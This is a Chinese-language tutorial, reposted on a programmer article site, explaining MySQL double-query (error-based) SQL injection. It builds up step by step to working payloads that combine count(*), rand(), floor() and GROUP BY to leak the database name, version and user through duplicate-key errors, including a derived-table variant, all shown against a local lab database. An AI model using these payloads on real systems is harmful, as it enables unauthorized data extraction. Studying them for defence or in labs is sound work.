欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

详细讲解双查询注入

程序员文章站 2022-04-09 12:01:01
...

上一篇文章中,http://leaver.me/archives/2726.html 我说双查询很难讲清楚,这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。 在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个se

上一篇文章中,http://leaver.me/archives/2726.html

我说双查询很难讲清楚,这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。

在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:

Select concat((select database()));

真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。

原理:

双注入查询需要理解四个函数/语句
1. Rand() //随机函数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by clause //分组语句

简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入

mysql -u root –p toor

就会连接上数据库了。
然后通过use security; 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
详细讲解双查询注入

然后我们执行一下前面那个简单的子查询的例子

SELECT concat((select database()));

就能显示security,也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入

SELECT concat('string1','string2');

显然结果就是string1string2了

详细讲解双查询注入
然后我们测试一下rand()这个随机函数是干嘛的

Select rand();

我们多执行几次
详细讲解双查询注入
可以看到,这个函数就是返回大于0,小于1之间的数
然后看看取整函数

Select floor(1.1123456);

详细讲解双查询注入
这个函数就是返回小于等于你输入的数的整数。

然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是

SELECT floor(rand()*2);

我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0
我们稍微加大一点难度。看这个查询

SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));

不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。

详细讲解双查询注入
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
详细讲解双查询注入
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果

详细讲解双查询注入

现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。
详细讲解双查询注入

注意。这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。

最后的亮点来了。。
我们输入这条:注意多了一个聚合函数count(*)

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

详细讲解双查询注入

报错了

ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’

重复的键值 可以看到security就是我们的查询结果了
想要查询版本就这样:

select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

看看替换了database()为version()
详细讲解双查询注入
再看一个

select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;

报错

ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'

这里的~这个符号只是为了让结果更清晰。

这里还有一个比较复杂的。叫做派生表。需要使用
select 1 from (table name); 这样的语法来报错,具体就是

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

来报错。

大家可以对照我上一篇文章来看。相信讲的还算清楚。